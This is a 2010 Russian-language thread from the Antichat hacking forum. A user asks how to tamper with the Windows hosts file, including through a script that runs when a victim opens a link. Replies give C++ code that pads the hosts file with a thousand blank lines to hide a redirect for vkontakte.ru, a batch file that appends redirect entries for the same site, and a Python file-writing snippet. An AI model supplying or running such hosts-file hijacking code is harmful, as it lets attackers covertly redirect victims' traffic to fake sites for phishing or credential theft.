Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   На каком языке можно реализовать подмену hosts? (https://forum.antichat.xyz/showthread.php?t=174559)

Шухер 29.01.2010 22:28

На каком языке можно реализовать подмену hosts?
 
и как?

waik 29.01.2010 22:30

почти на любом.С начало определи язык а потом думай о реализации.

Шухер 29.01.2010 22:38

а на каком легче?

Fata1ex 29.01.2010 22:39

на языке программирования легче всего

Шухер 29.01.2010 22:42

а я думал на испанском, ошибаюсь?

Fata1ex 29.01.2010 22:44

ага

Alv 29.01.2010 22:48

Я на C# сделал

Шухер 29.01.2010 22:52

на java скрипт или пхп кто-нибудь поможет сделать?

Iron47 29.01.2010 22:53

Код:

#include <iostream> //стандартный поток ввода/вывода.
#include <fstream>//для работы с файлами
using namespace std;// используем по умолчанию пространство имен std.
int main(){/*это главная функция. Она у нас ничего не возвращает, но типом главной функции может быть только int. void нельзя.*/
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); /* тут мы делаем переадресацию iostream на fstream с ключом дозаписи.*/
unsigned int a = 0; // создаём переменную счетчик.
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts
cout<<"\n"; //тысячью пустых строк
}
cout<<"127.0.0.1 vkontakte.ru"; // это строка переадресации
}


Fata1ex 29.01.2010 22:53

Попробуй так:

Код:

rm hosts.txt; mv fake_hosts.txt hosts.txt
По-моему, отличная подмена

Цитата:

но типом главной функции может быть только int. void нельзя.
огосподигдевасэтомуучат

int main() ничего не возвращает о да

waik 29.01.2010 22:57

где-то мне на ачате довали код нс С++ в теме про с+++ ,жаль исходник не сохранился.

Iron47 29.01.2010 23:04

Цитата:

Сообщение от Fata1ex
огосподигдевасэтомуучат

:D

на бате еще можно

@echo off

echo 209.85.229.104 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts

echo 209.85.229.104 vkontakte.ru >> %windir%\system32\drivers\etc\hosts

Шухер 29.01.2010 23:04

Iron47, а если у юзверя не С диск виндозный?
Fata1ex, объясните плиз, на каком это языке и как вообще работать?)
сори, но я нуб)

Шухер 29.01.2010 23:06

бат не подойдет(

Fata1ex 29.01.2010 23:08

тебе надо больше конпелировать
и читать умные книжки
тогда тебе будут давать много долларов

Шухер 29.01.2010 23:16

по-моему вопрос поставлен четко.других советов я не просил.

понятно изъясняюсь?

CyberHunter 29.01.2010 23:30

А можно ли это реализовать на Python'е? Я просто еще не учил работы с фалами.

Шухер 29.01.2010 23:45

мне бы сделать так, чтобы перейдя по ссылке выполнился скрипт и подмений хосты на нужные.реально?

Zedobat 29.01.2010 23:49

Цитата:

Сообщение от Шухер
мне бы сделать так, чтобы перейдя по ссылке выполнился скрипт и подмений хосты на нужные.реально?

Бесплатно - нет.

Шухер 29.01.2010 23:52

сложно реализовать?

CyberHunter 30.01.2010 00:12

Цитата:

сложно реализовать?
В разделе статьи есть то что тебе надо, правда не знаю актуально ли это еще.

gold-goblin 30.01.2010 00:49

Цитата:

А можно ли это реализовать на Python'е? Я просто еще не учил работы с фалами
Можно, причем без проблем.
host = open ('адрес до хостс/hosts.txt', 'w')
host.write('строка которую добавить')
Я под линь кожу по этому константы системной папки под вин не знаю...

buxmanager 30.01.2010 02:31

http://forum.antichat.ru/thread164577.html читай! Тут все есть вроде бы!


Время: 16:57